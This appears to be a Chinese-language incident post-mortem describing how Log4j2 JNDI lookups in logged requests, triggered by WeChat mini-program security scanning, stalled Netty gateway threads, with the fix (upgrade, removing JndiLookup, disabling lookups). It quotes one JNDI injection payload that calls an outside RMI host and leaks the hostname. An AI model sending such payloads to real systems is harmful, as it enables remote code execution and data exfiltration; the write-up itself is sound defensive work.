一次 Java log4j2 漏洞導致的生產問題

2022-11-01 06:00:56

一、問題

近期生產在提交了微信小程式稽核後(後面會講到),總會出現一些生產告警,而且持續時間較長。我們檢視一些工具和系統相關的,發現把我們的 gateway 差不多打死了。 有一些現象。

  1. 閘道器有很多介面處理慢。
  2. 閘道器健康檢查不通過,發生重啟。

前面我們提到是微信小程式稽核後,為什麼我們覺得是和這個相關,因為我們在相關的時間段的 Nginx 請求紀錄檔種的 agent 欄位看到了 Tencent Security Team, more information: https://developers.weixin.qq.com/community/minihome/doc/0008ea401c89c02cff2d1345051001 。我們可以看到小程式提交稽核後平臺將對提審的小程式進行安全檢測. 我們也找到對應的小程式負責人詢問,是當天那個時間段前10分鐘左右有提交小程式稽核。 而且這個小程式也是包含了這些掃描介面的。

我們在想是業務場景觸發的問題與這個掃描湊巧在一個時間段嗎? 因為我們認為這個檢查頻率不至於打垮我們的服務。我們決定在一個業務閒時,也就是低峰期的時候檢測一次(重新提交一次小程式提審)。 我們在提交完之後發現,掃描開始之後,我們的閘道器還是支撐不住了。頻繁的超時和健康檢查失敗。 閘道器服務有節點發生了重啟。 我們篤定跟微信的掃描是有關了。

二、解析過程

基本問題解析

我們在第二次掃描的時候,也做了一些準備。

  1. dump jvm 的記憶體。
  2. dump java 的執行緒棧。
  3. 關注 Nginxgateway 的紀錄檔。

我們 dump 執行緒棧發現了一些內容,但是我們沒有引起注意。

記憶體 dump 的話,我們發下並沒有佔用太多記憶體,記憶體使用正常。

我們最後在 gateway 發現了一些紀錄檔。

整個請求耗時50多s。

我們看到 gateway 打出這個請求的請求體是

{
    "pageNum": "${jndi:rmi://9.4.131.68:1099/bypass8cc3241fe66af8c6a1e82d9964e059be-/-${hostName}}",
    "module": 1,
    "pageSize": 20
}

這個 pageNum 的值看著就像注入的。然後我拿著這個值去搜尋。

發現可能跟 log4j2 有關, 詢問開發目前我們使用的是 2.13.1

log4j2漏洞公告中,我們發現 受影響的版本是 2.0-beta7 =< Apache Log4j 2.x < 2.17.0(2.3.2 和 2.12.4 版本不受影響)

該漏洞出現的時間是在 2021-12-29, 漏洞的詳情

Apache Log4j2 是一個基於Java的開源紀錄檔記錄框架,該框架重寫了Log4j框架,是其前身Log4j 1.x 的重寫升級版,並且引入了大量豐富的特性,使用非常的廣泛。該框架被大量用於業務系統開發,用來記錄紀錄檔資訊。

據官方描述,擁有修改紀錄檔組態檔許可權的攻擊者,可以構造惡意的設定將 JDBC Appender 與參照 JNDI URI 的資料來源一起使用,從而可通過該 JNDI URI 遠端執行任意程式碼。

由於該漏洞要求攻擊者擁有修改組態檔許可權(通常需藉助其他漏洞才可實現),非預設設定存在的問題,漏洞成功利用難度較大。

log4j2 漏洞相關原始碼解析

log4j2 在支援紀錄檔列印的時候,支援了十幾種旁路策略,其中有一個就是jndilog4jjndi 實現遠端呼叫並將結果進行紀錄檔列印,底層採用了socket 進行連線,但是沒有設定超時時間,當紀錄檔中有多個${導致迴圈呼叫多次。所以上面紀錄檔列印會重複2次 jndi 的操作,又因為我們紀錄檔列印設定了consolerollingFile。所以會列印四次紀錄檔。

gateway採用 Netty 作為底層容器,採用了Reactor模式,有一個事件迴圈組負責監聽事件,事件到達後會丟給另一個事件迴圈組去處理讀寫,事件迴圈組內有多個事件迴圈器,每個事件迴圈器由一個執行緒去處理業務讀寫,因此列印上面紀錄檔會阻塞住其中一個處理執行緒。從dump 出來的單個檔案看是隻有一個處理執行緒被阻塞了。而當進行心跳健康判斷的時候,有一定機率會被分配給阻塞的執行緒,因此會放到佇列中一直等待執行緒處理,進而超時了 把 gateway閘道器重啟了;

四、問題解決辦法

參考檔案: https://logging.apache.org/log4j/2.x/security.html

建議解決辦法

  1. 升級版本。

    Apache Log4j 2.x >= 2.3.2 (Java 6)
    Apache Log4j 2.x >= 2.12.4 (Java 7)
    Apache Log4j 2.x >= 2.17.1 (Java 8 及更新版)
    

臨時解決版本

  1. 刪除 JndiLookup.class

    在 2.16.0 以外的任何版本中,您可以JndiLookup從類路徑中刪除該類:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

  2. 設定環境變數 LOG4J_FORMAT_MSG_NO_LOOKUPStrue (處理場景有限)

    java opts 設定為 -Dlog4j2.formatMsgNoLookups=true (處理場景有限)

解決後測試

設定完成之後

前者處理為56秒,後者需要的時間為354ms. 是正常的響應時間。